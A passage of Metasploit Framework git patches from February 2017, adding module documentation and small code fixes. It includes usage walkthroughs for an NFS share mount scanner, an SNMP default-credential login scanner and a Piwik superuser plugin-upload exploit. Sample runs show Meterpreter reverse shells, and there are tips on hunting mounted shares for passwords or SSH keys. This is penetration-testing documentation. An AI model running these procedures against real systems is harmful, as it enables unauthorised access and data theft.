::Rex::ConnectionError, ::Errno::EPIPE @@ -238,11 +249,8 @@ class MetasploitModule < Msf::Auxiliary end if res && res.code == 200 - vprint_status('++++++++++++++++++++++++++++++++++++++') - print_good("#{rhost} - dumping EWplant.db") - vprint_status('++++++++++++++++++++++++++++++++++++++') - - print_good("#{rhost}:#{rport} - File retrieved successfully!") + print_status("#{rhost} - dumping EWplant.db") + print_good("#{rhost}:#{rport} - EWplant.db retrieved successfully!") path = store_loot( 'EWplant.db', 'SQLite_db/text', @@ -251,9 +259,9 @@ class MetasploitModule < Msf::Auxiliary rport, 'Carlo Gavazzi Energy Meter - EWplant.db' ) - print_status("#{rhost}:#{rport} - File saved in: #{path}") + print_good("#{rhost}:#{rport} - File saved in: #{path}") else - print_error("#{rhost}:#{rport} - Failed to retrieve file. Set a higher HTTPCLIENTTIMEOUT and try again.") + vprint_error("#{rhost}:#{rport} - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?") return end end From f121a647799a7d796c10171175f3217a4ecfa2f7 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Sun, 12 Feb 2017 17:25:56 -0500 Subject: [PATCH 162/426] +1 professionalism :) --- .../scanner/http/wordpress_content_injection.md | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.md b/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.md index 82bd242cb9..a1dad453ec 100644 --- a/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.md +++ b/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.md @@ -1,6 +1,6 @@ **Feature description:** -This adds a module for the WordPress 4.7/4.7.1 +This adds a module for the WordPress [4.7](https://wordpress.org/wordpress-4.7.tar.gz)/[4.7.1](https://wordpress.org/wordpress-4.7.1.tar.gz) content injection vulnerability detailed at https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html. @@ -8,12 +8,20 @@ https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-a - [ ] Download https://wordpress.org/wordpress-4.7.1.tar.gz - [ ] `tar xf wordpress-4.7.1.tar.gz -C /var/www/html --no-same-owner` -- [ ] Ensure the install dir is not writable by the web user (prevents autoupdating) -- [ ] Install the sucker +- [ ] Prevent auto-update with either: + 1. [ ] Ensure the install dir is not writable by the web user + 2. [ ] Add the following to `wp_config.php` (after install) + ``` + define( 'WP_AUTO_UPDATE_CORE', false ); + define( 'AUTOMATIC_UPDATER_DISABLED', true ); + ``` +- [ ] Install Wordpress +- [ ] Start `msfconsole` +- [ ] `use auxiliary/scanner/http/wordpress_content_injection` +- [ ] Set `rhost`, `rport` and `TARGETURI` - [ ] Set `ACTION` to either `LIST` or `UPDATE` - [ ] Set `POST_ID` and `POST_TITLE`, `POST_CONTENT`, and/or `POST_PASSWORD` - [ ] Run the module -- [ ] ~~Add your defacement to Zone-H~~ jk **Sample run:** From a47a479bd368679306d416a5e1da4efef08f7cb1 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Sun, 12 Feb 2017 19:08:31 -0500 Subject: [PATCH 163/426] add else case --- modules/exploits/windows/local/panda_psevents.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/panda_psevents.rb b/modules/exploits/windows/local/panda_psevents.rb index fefa7d78f4..272bfd4771 100644 --- a/modules/exploits/windows/local/panda_psevents.rb +++ b/modules/exploits/windows/local/panda_psevents.rb @@ -61,10 +61,10 @@ class MetasploitModule < Msf::Exploit::Local def get_path() case sysinfo['OS'] - when /Windows (7|8|10|2012|2008)/ - return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' when /Windows (NT|XP)/ return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' + else #/Windows (7|8|10|2012|2008)/ we assume a modern operating system + return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' end end From 3e75852662b13dfea491f096da6a2f1f6bc2f949 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Sun, 12 Feb 2017 21:54:42 -0500 Subject: [PATCH 164/426] nfsmount docs --- .../modules/auxiliary/scanner/nfs/nfsmount.md | 97 +++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/nfs/nfsmount.md diff --git a/documentation/modules/auxiliary/scanner/nfs/nfsmount.md b/documentation/modules/auxiliary/scanner/nfs/nfsmount.md new file mode 100644 index 0000000000..037718e989 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/nfs/nfsmount.md @@ -0,0 +1,97 @@ +## Vulnerable Application + + NFS is very common, and this scanner searches for a mis-configuration, not a vulnerable software version. Installation instructions for NFS can be found for every operating system. + The [Ubuntu 14.04](https://help.ubuntu.com/14.04/serverguide/network-file-system.html) instructions can be used as an example for installing and configuring NFS. The + following was done on Kali linux: + + 1. `apt-get install nfs-kernel-server` + 2. Create 2 folders to share: + ``` + mkdir /tmp/open_share + mkdir /tmp/closed_share + ``` + 3. Add them to the list of shares: + ``` + echo "/tmp/closed_share 10.1.2.3(ro,sync,no_root_squash)" >> /etc/exports + echo "/tmp/open_share *(rw,sync,no_root_squash)" >> /etc/exports + ``` + 4. Restart the service: `service nfs-kernel-server restart` + + In this scenario, `closed_share` is set to read only, and only mountable by the IP 10.1.2.3. `open_share` is mountable by anyone (`*`) in read/write mode. + +## Verification Steps + + 1. Install and configure NFS + 2. Start msfconsole + 3. Do: `use auxiliary/scanner/nfs/nfsmount` + 4. Do: `run` + +## Scenarios + + A run against the configuration from these docs + + ``` + msf > use auxiliary/scanner/nfs/nfsmount + msf auxiliary(nfsmount) > set rhosts 127.0.0.1 + rhosts => 127.0.0.1 + msf auxiliary(nfsmount) > run + + [+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/open_share [*] + [+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/closed_share [10.1.2.3] + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + +## Confirming + +Since NFS has been around since 1989, with modern NFS(v4) being released in 2000, there are many tools which can also be used to verify this configuration issue. +The following are other industry tools which can also be used. + +### [nmap](https://nmap.org/nsedoc/scripts/nfs-showmount.html) + +``` +nmap -p 111 --script=nfs-showmount 127.0.0.1 + +Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-12 19:41 EST +Nmap scan report for localhost (127.0.0.1) +Host is up (0.000037s latency). +PORT STATE SERVICE +111/tcp open rpcbind +| nfs-showmount: +| /tmp/open_share * +|_ /tmp/closed_share 10.1.2.3 + +Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds +``` + +### [showmount](https://packages.debian.org/sid/amd64/nfs-common/filelist) + +showmount is a part of the `nfs-common` package for debian. + +``` +showmount -e 127.0.0.1 +Export list for 127.0.0.1: +/tmp/open_share * +/tmp/closed_share 10.1.2.3 +``` + +## Exploitation + +Exploiting this mis-configuration is trivial, however exploitation doesn't necessarily give access (command execution) to the system. +If a share is mountable, ie you either are the IP listed in the filter (or could assume it through a DoS), or it is open (*), mounting is trivial. +The following instructions were written for Kali linux. + +1. Create a new directory to mount the remote volume to: `mkdir /mnt/remote` +2. Use `mount` to link the remote volume to the local folder: `mount -t nfs 127.0.0.1:/tmp/open_share /mnt/remote` + +The mount and its writability can now be tested: + +1. Write a file: `echo "hello" > /mnt/remote/test` +2. The remote end now has the file locally: ``` +cat /tmp/open_share/test +hello +``` + +1. To unmount: `umount /mnt/remote` + +At this point, its time to hope for a file of value. Maybe code with hardcoded credentials, a `passwords.txt`, or an `id_rsa`. From d395fbaa94a0c443274d5270df101387ad3ae6b3 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Sun, 12 Feb 2017 21:56:53 -0500 Subject: [PATCH 165/426] nfsmount docs added blog post --- .../modules/auxiliary/scanner/nfs/nfsmount.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/documentation/modules/auxiliary/scanner/nfs/nfsmount.md b/documentation/modules/auxiliary/scanner/nfs/nfsmount.md index 037718e989..a3654eb38a 100644 --- a/documentation/modules/auxiliary/scanner/nfs/nfsmount.md +++ b/documentation/modules/auxiliary/scanner/nfs/nfsmount.md @@ -41,6 +41,21 @@ [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` + + Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/): + + ``` + [*] Scanned 24 of 240 hosts (10% complete) + [+] 10.10.xx.xx NFS Export: /data/iso [0.0.0.0/0.0.0.0] + [*] Scanned 48 of 240 hosts (20% complete) + [+] 10.10.xx.xx NFS Export: /DataVolume/Public [*] + [+] 10.10.xx.xx NFS Export: /DataVolume/Download [*] + [+] 10.10.xx.xx NFS Export: /DataVolume/Softshare [*] + [*] Scanned 72 of 240 hosts (30% complete) + [+] 10.10.xx.xx NFS Export: /var/ftp/pub [10.0.0.0/255.255.255.0] + [*] Scanned 96 of 240 hosts (40% complete) + [+] 10.10.xx.xx NFS Export: /common [] + ``` ## Confirming From 23ec1ab93ad80ef8b1994827654e7a16372bc665 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Sun, 12 Feb 2017 23:10:50 -0500 Subject: [PATCH 166/426] snmp_login docs --- .../auxiliary/scanner/snmp/snmp_login.md | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/snmp/snmp_login.md diff --git a/documentation/modules/auxiliary/scanner/snmp/snmp_login.md b/documentation/modules/auxiliary/scanner/snmp/snmp_login.md new file mode 100644 index 0000000000..5425bd5317 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/snmp/snmp_login.md @@ -0,0 +1,94 @@ +## Vulnerable Application + + Installation instructions for SNMP server can be found for every operating system. + The [Ubuntu 14.04](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-an-snmp-daemon-and-client-on-ubuntu-14-04) instructions can be used as an example for installing and configuring NFS. The + following was done on Kali linux: + + 1. `sudo apt-get install snmpd` + 2. Set SNMP to listen on non-localhost: `nano /etc/snmp/snmpd.conf` + ``` + # Listen for connections from the local system only + #agentAddress udp:127.0.0.1:161 + # Listen for connections on all interfaces (both IPv4 *and* IPv6) + agentAddress udp:161,udp6:[::1]:161 + ``` + 3. Restart the service: `service snmpd restart` + +### SNMP Versions + +SNMP has 3 main versions. +* ***1**, ***2c**: both use simple password protection (string), and are often defaulted to `public` (read only), and `private` (read/write). Version 2 is backwards compatible with version 1. This is a plaintext protocol and is vulenrable to being intercepted. +* ***3**: has several security levels and is significantly more complex, but also not covered in this module. + +## Verification Steps + + 1. Install and configure SNMP + 2. Start msfconsole + 3. Do: `use auxiliary/scanner/snmp/snmp_login` + 4. Do: `run` + +## Scenarios + + A run against the configuration from these docs + + ``` + msf > use auxiliary/scanner/snmp/snmp_login + msf auxiliary(snmp_login) > set rhosts 127.0.0.1 + rhosts => 127.0.0.1 + msf auxiliary(snmp_login) > run + + [!] No active DB -- Credential data will not be saved! + [+] 127.0.0.1:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Linux hostname 4.9.0-kali1-amd64 #1 SMP Debian 4.9.6-3kali2 (2017-01-30) x86_64 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + + Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/): + + ``` + [+] 10.4.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Cisco IOS Software, C1130 Software (C1130-K9W7-M), Version 12.4(10b)JA, RELEASE SOFTWARE (fc2) + Technical Support: http://www.cisco.com/techsupport + Copyright (c) 1986-2007 by Cisco Systems, Inc. + Compiled Wed 24-Oct-07 15:17 by prod_rel_team + [*] Scanned 12 of 58 hosts (20% complete) + [*] Scanned 18 of 58 hosts (31% complete) + [+] 10.10.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Digi Connect ME Version 82000856_F6 07/21/2006 + [+] 10.10.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Digi Connect ME Version 82000856_F6 07/21/2006 + [*] Scanned 24 of 58 hosts (41% complete) + [+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009 + [+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009 + [+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009 + [+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009 + [+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: private (Access level: read-write); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009 + [+] 10.11.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): ExtremeXOS version 12.2.2.11 v1222b11 by release-manager on Mon Mar 23 17:54:47 PDT 2009 + [*] Scanned 29 of 58 hosts (50% complete) + [*] Scanned 35 of 58 hosts (60% complete) + [*] Scanned 41 of 58 hosts (70% complete) + [*] Scanned 47 of 58 hosts (81% complete) + [+] 10.25.xx.xx:161 - LOGIN SUCCESSFUL: public (Access level: read-only); Proof (sysDescr.0): Digi Connect ME Version 82000856_F6 07/21/2006 + ``` + +## Confirming + +Since SNMP has been around for quite a while, there are many tools which can also be used to verify this configuration issue. +The following are other industry tools which can also be used. + +### [nmap](https://nmap.org/nsedoc/scripts/snmp-info.html) + +``` +nmap -p 161 -sU --script=snmp-info 127.0.0.1 + +Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-12 23:00 EST +Nmap scan report for localhost (127.0.0.1) +Host is up (0.00017s latency). +PORT STATE SERVICE +161/udp open snmp +| snmp-info: +| enterprise: net-snmp +| engineIDFormat: unknown +| engineIDData: 54ad55664725a15800000000 +| snmpEngineBoots: 2 +|_ snmpEngineTime: 31m30s + +Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds +``` From 4f8e208e16a734900e83e1dbe38755313571d802 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Sun, 12 Feb 2017 23:22:13 -0500 Subject: [PATCH 167/426] formatting --- .../modules/auxiliary/scanner/nfs/nfsmount.md | 11 ++++++----- .../modules/auxiliary/scanner/snmp/snmp_login.md | 4 ++-- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/nfs/nfsmount.md b/documentation/modules/auxiliary/scanner/nfs/nfsmount.md index a3654eb38a..4716c9b2e3 100644 --- a/documentation/modules/auxiliary/scanner/nfs/nfsmount.md +++ b/documentation/modules/auxiliary/scanner/nfs/nfsmount.md @@ -1,8 +1,8 @@ ## Vulnerable Application - NFS is very common, and this scanner searches for a mis-configuration, not a vulnerable software version. Installation instructions for NFS can be found for every operating system. - The [Ubuntu 14.04](https://help.ubuntu.com/14.04/serverguide/network-file-system.html) instructions can be used as an example for installing and configuring NFS. The - following was done on Kali linux: +NFS is very common, and this scanner searches for a mis-configuration, not a vulnerable software version. Installation instructions for NFS can be found for every operating system. +The [Ubuntu 14.04](https://help.ubuntu.com/14.04/serverguide/network-file-system.html) instructions can be used as an example for installing and configuring NFS. The +following was done on Kali linux: 1. `apt-get install nfs-kernel-server` 2. Create 2 folders to share: @@ -17,7 +17,7 @@ ``` 4. Restart the service: `service nfs-kernel-server restart` - In this scenario, `closed_share` is set to read only, and only mountable by the IP 10.1.2.3. `open_share` is mountable by anyone (`*`) in read/write mode. +In this scenario, `closed_share` is set to read only, and only mountable by the IP 10.1.2.3. `open_share` is mountable by anyone (`*`) in read/write mode. ## Verification Steps @@ -102,7 +102,8 @@ The following instructions were written for Kali linux. The mount and its writability can now be tested: 1. Write a file: `echo "hello" > /mnt/remote/test` -2. The remote end now has the file locally: ``` +2. The remote end now has the file locally: +``` cat /tmp/open_share/test hello ``` diff --git a/documentation/modules/auxiliary/scanner/snmp/snmp_login.md b/documentation/modules/auxiliary/scanner/snmp/snmp_login.md index 5425bd5317..3190351ed9 100644 --- a/documentation/modules/auxiliary/scanner/snmp/snmp_login.md +++ b/documentation/modules/auxiliary/scanner/snmp/snmp_login.md @@ -17,8 +17,8 @@ ### SNMP Versions SNMP has 3 main versions. -* ***1**, ***2c**: both use simple password protection (string), and are often defaulted to `public` (read only), and `private` (read/write). Version 2 is backwards compatible with version 1. This is a plaintext protocol and is vulenrable to being intercepted. -* ***3**: has several security levels and is significantly more complex, but also not covered in this module. +* **1**, **2c**: both use simple password protection (string), and are often defaulted to `public` (read only), and `private` (read/write). Version 2 is backwards compatible with version 1. This is a plaintext protocol and is vulenrable to being intercepted. +* **3**: has several security levels and is significantly more complex, but also not covered in this module. ## Verification Steps From c1d08b95745db9b82d7f4dc5133949ae5064799d Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Sun, 12 Feb 2017 22:31:56 -0600 Subject: [PATCH 168/426] rename udp_sock to udp_socket to avoid mixin collisions --- lib/msf/core/auxiliary/udp_scanner.rb | 30 +++++++++++++-------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb index e346d51867..d12fab912e 100644 --- a/lib/msf/core/auxiliary/udp_scanner.rb +++ b/lib/msf/core/auxiliary/udp_scanner.rb @@ -43,11 +43,11 @@ module Auxiliary::UDPScanner datastore['BATCHSIZE'].to_i end - def udp_sock(ip, port) - @udp_socks_mutex.synchronize do + def udp_socket(ip, port) + @udp_sockets_mutex.synchronize do key = "#{ip}:#{port}" - unless @udp_socks.key?(key) - @udp_socks[key] = + unless @udp_sockets.key?(key) + @udp_sockets[key] = Rex::Socket::Udp.create({ 'LocalHost' => datastore['CHOST'] || nil, 'LocalPort' => datastore['CPORT'] || 0, @@ -55,16 +55,16 @@ module Auxiliary::UDPScanner 'PeerPort' => port, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } }) - add_socket(@udp_socks[key]) + add_socket(@udp_sockets[key]) end - return @udp_socks[key] + return @udp_sockets[key] end end - def cleanup_udp_socks - @udp_socks_mutex.synchronize do - @udp_socks.each do |key, sock| - @udp_socks.delete(key) + def cleanup_udp_sockets + @udp_sockets_mutex.synchronize do + @udp_sockets.each do |key, sock| + @udp_sockets.delete(key) remove_socket(sock) sock.close end @@ -73,8 +73,8 @@ module Auxiliary::UDPScanner # Start scanning a batch of IP addresses def run_batch(batch) - @udp_socks = {} - @udp_socks_mutex = Mutex.new + @udp_sockets = {} + @udp_sockets_mutex = Mutex.new @udp_send_count = 0 @interval_mutex = Mutex.new @@ -122,7 +122,7 @@ module Auxiliary::UDPScanner resend_count = 0 sock = nil begin - sock = udp_sock(ip, port) + sock = udp_socket(ip, port) sock.send(data, 0) rescue ::Errno::ENOBUFS @@ -160,7 +160,7 @@ module Auxiliary::UDPScanner queue = [] start = Time.now while Time.now - start < timeout do - readable, _, _ = ::IO.select(@udp_socks.values, nil, nil, timeout) + readable, _, _ = ::IO.select(@udp_sockets.values, nil, nil, timeout) if readable for sock in readable res = sock.recvfrom(65535, timeout) @@ -186,7 +186,7 @@ module Auxiliary::UDPScanner end end - cleanup_udp_socks + cleanup_udp_sockets queue.each do |q| scanner_process(*q) From d7f675534b023ca9aaff02bc4ca3e9e38d3bc1e5 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Mon, 13 Feb 2017 23:11:46 +0100 Subject: [PATCH 169/426] add documention --- .../webapp/piwik_superuser_plugin_upload.md | 226 ++++++++++++++++++ 1 file changed, 226 insertions(+) create mode 100644 documentation/modules/exploit/unix/webapp/piwik_superuser_plugin_upload.md diff --git a/documentation/modules/exploit/unix/webapp/piwik_superuser_plugin_upload.md b/documentation/modules/exploit/unix/webapp/piwik_superuser_plugin_upload.md new file mode 100644 index 0000000000..83a9b25791 --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/piwik_superuser_plugin_upload.md @@ -0,0 +1,226 @@ +## Vulnerable Application + +Piwik can be downloaded from the official site [piwik.org](https://piwik.org). +Older builds are also available from [builds.piwik.org](https://builds.piwik.org/). + +This module was tested with Piwik versions 2.14.0, 2.16.0, 2.17.1 and 3.0.1 + +## Verification Steps + +### Install Piwik (Debian/Ubuntu) +1. Install dependencies + + ``` + sudo apt install apache2 php5 php5-mysql \ + libapache2-mod-php5 mariadb-server unzip php5-gd php5-curl + ``` +2. Download latest version of piwik (or the version of your choice from [builds.piwik.org](https://builds.piwik.org/)) + + ``` + wget https://builds.piwik.org/piwik.zip + ``` + +3. Unzip Piwik into webroot + + ``` + unzip -d /var/www/html/ piwik.zip + ``` + +4. Make the webserver user the owner of piwik + + ``` + chown -R www-data:www-data /var/www/html/ + ``` + +5. Create a new user and database for piwik. If you want to run multiple versions in parallel use a different database for each install (user is optional). +This example assumes your MySQL root password is **password** + + ``` + mysql -u root -ppassword -e "CREATE DATABASE piwik;" + mysql -u root -ppassword -e "CREATE USER piwik@localhost;" + mysql -u root -ppassword -e "SET PASSWORD FOR piwik@localhost=PASSWORD('piwik');" + mysql -u root -ppassword -e "GRANT ALL PRIVILEGES ON piwik.* TO piwik@localhost;" + mysql -u root -ppassword -e "FLUSH PRIVILEGES;" + ``` + +6. Add a config setting to PHP to stop piwik complaining about it + + ``` + echo always_populate_raw_post_data=-1 > /etc/php5/apache2/conf.d/99-piwik.ini + ``` + +7. Finally restart Apache HTTPD + + ``` + service apache2 restart + ``` + +### Pwn Piwik +1. Install the application (see installation steps above) +2. Start msfconsole +3. Do: ```use [module path]``` +4. Do: ```set RHOST [Domain/IP]``` +5. Do: ```set RPORT [Port]``` +6. Do: ```set TARGETURI [installation directory]``` +7. Do: ```set SSL [True/False]``` +8. Do: ```set USERNAME [valid Piwik superuser credentials]``` +9. Do: ```set PASSWORD [valid Piwik superuser credentials]``` +10. Do: ```run``` +11. You should get a shell. + +## Options + +**TARGETURI** + +Path of the Piwik installation. + +**USERNAME** + +Valid username for a Piwik superuser account. + +**PASSWORD** + +Valid password for a Piwik superuser account. + +## Scenarios + +### Run with a installation of Piwik 3.0.1 + +``` +msf > use exploit/unix/webapp/piwik_superuser_plugin_upload +msf exploit(piwik_superuser_plugin_upload) > set TARGETURI /piwik/ +TARGETURI => /piwik/ +msf exploit(piwik_superuser_plugin_upload) > set RHOST 192.168.56.2 +RHOST => 192.168.56.2 +msf exploit(piwik_superuser_plugin_upload) > set username firefart +username => firefart +msf exploit(piwik_superuser_plugin_upload) > set password firefart +password => firefart +msf exploit(piwik_superuser_plugin_upload) > options + +Module options (exploit/unix/webapp/piwik_superuser_plugin_upload): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD firefart yes The Piwik password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST 192.168.56.2 yes The target address + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /piwik/ yes The URI path of the Piwik installation + USERNAME firefart yes The Piwik username to authenticate with + VHOST no HTTP server virtual host + + +Exploit target: + + Id Name + -- ---- + 0 Piwik + +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using firefart:firefart... +[+] Authenticated with Piwik +[*] Checking if user firefart has superuser access +[+] User firefart has superuser access +[*] Trying to get Piwik version +[+] Detected Piwik version 3.0.1 +[*] Checking if Marketplace plugin is active +[+] Seems like the Marketplace plugin is already enabled +[*] Generating plugin +[+] Plugin SDsiXxPMgt generated +[*] Uploading plugin +[*] Activating plugin and triggering payload +[*] Sending stage (33986 bytes) to 192.168.56.2 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.2:43169) at 2017-02-13 23:03:29 +0100 +[+] Deleted plugins/SDsiXxPMgt/plugin.json +[+] Deleted plugins/SDsiXxPMgt/SDsiXxPMgt.php + +meterpreter > sysinfo +Computer : web +OS : Linux web 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1 (2016-12-30) x86_64 +Meterpreter : php/linux +``` + +### Run against Piwik 2.x + +``` +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using firefart:firefart... +[+] Authenticated with Piwik +[*] Checking if user firefart has superuser access +[+] User firefart has superuser access +[*] Trying to get Piwik version +[+] Detected Piwik version 2.14.0 +[*] Generating plugin +[+] Plugin zZETuwYkzB generated +[*] Uploading plugin +[*] Activating plugin and triggering payload +[*] Sending stage (33986 bytes) to 192.168.56.2 +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.2:43182) at 2017-02-13 23:05:27 +0100 +[+] Deleted plugins/zZETuwYkzB/plugin.json +[+] Deleted plugins/zZETuwYkzB/zZETuwYkzB.php +``` + +### Sample output of running with invalid credentials + +``` +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using firefart:test... +[-] Exploit aborted due to failure: no-access: Failed to authenticate with Piwik +[*] Exploit completed, but no session was created. +``` + +### Sample output of running with non superuser user + +``` +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using test:firefart... +[+] Authenticated with Piwik +[*] Checking if user test has superuser access +[-] Exploit aborted due to failure: no-access: Looks like user test has no superuser access +[*] Exploit completed, but no session was created. +``` + +### Sample output of Piwik 3.x with disabled Marketplace plugin + +``` +msf exploit(piwik_superuser_plugin_upload) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Trying to detect if target is running a supported version of piwik +[+] Detected Piwik installation +[*] Authenticating with Piwik using firefart:firefart... +[+] Authenticated with Piwik +[*] Checking if user firefart has superuser access +[+] User firefart has superuser access +[*] Trying to get Piwik version +[+] Detected Piwik version 3.0.1 +[*] Checking if Marketplace plugin is active +[*] Marketplace plugin is not enabled, trying to enable it +[+] Marketplace plugin enabled +[*] Generating plugin +[+] Plugin TuwgJygjEu generated +[*] Uploading plugin +[*] Activating plugin and triggering payload +[*] Sending stage (33986 bytes) to 192.168.56.2 +[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.2:43246) at 2017-02-13 23:08:36 +0100 +[+] Deleted plugins/TuwgJygjEu/plugin.json +[+] Deleted plugins/TuwgJygjEu/TuwgJygjEu.php +``` From 184707c6fc0e19271b903a04a56e0d75ee17cb68 Mon Sep 17 00:00:00 2001 From: Metasploit <metasploit@rapid7.com> Date: Mon, 13 Feb 2017 16:04:35 -0800 Subject: [PATCH 170/426] Bump version of framework to 4.13.23 --- Gemfile.lock | 4 ++-- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 487000a923..5e7e16bfc2 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.13.22) + metasploit-framework (4.13.23) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -347,4 +347,4 @@ DEPENDENCIES yard BUNDLED WITH - 1.14.3 + 1.14.4 diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 11b741fc89..107e8933a6 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.13.22" + VERSION = "4.13.23" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From ec316bfb6c0b1d618c5e77092bcfcf93ce3e0617 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 14 Feb 2017 10:34:27 +1000 Subject: [PATCH 171/426] Use DATABASE when logging in with SQL mixin --- modules/exploits/windows/mssql/mssql_clr_payload.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb index 402e9cec2f..0a42c5a331 100644 --- a/modules/exploits/windows/mssql/mssql_clr_payload.rb +++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote end def check - unless mssql_login_datastore + unless mssql_login_datastore(datastore['DATABASE']) vprint_status('Invalid SQL Server credentials') return Exploit::CheckCode::Detected end @@ -123,7 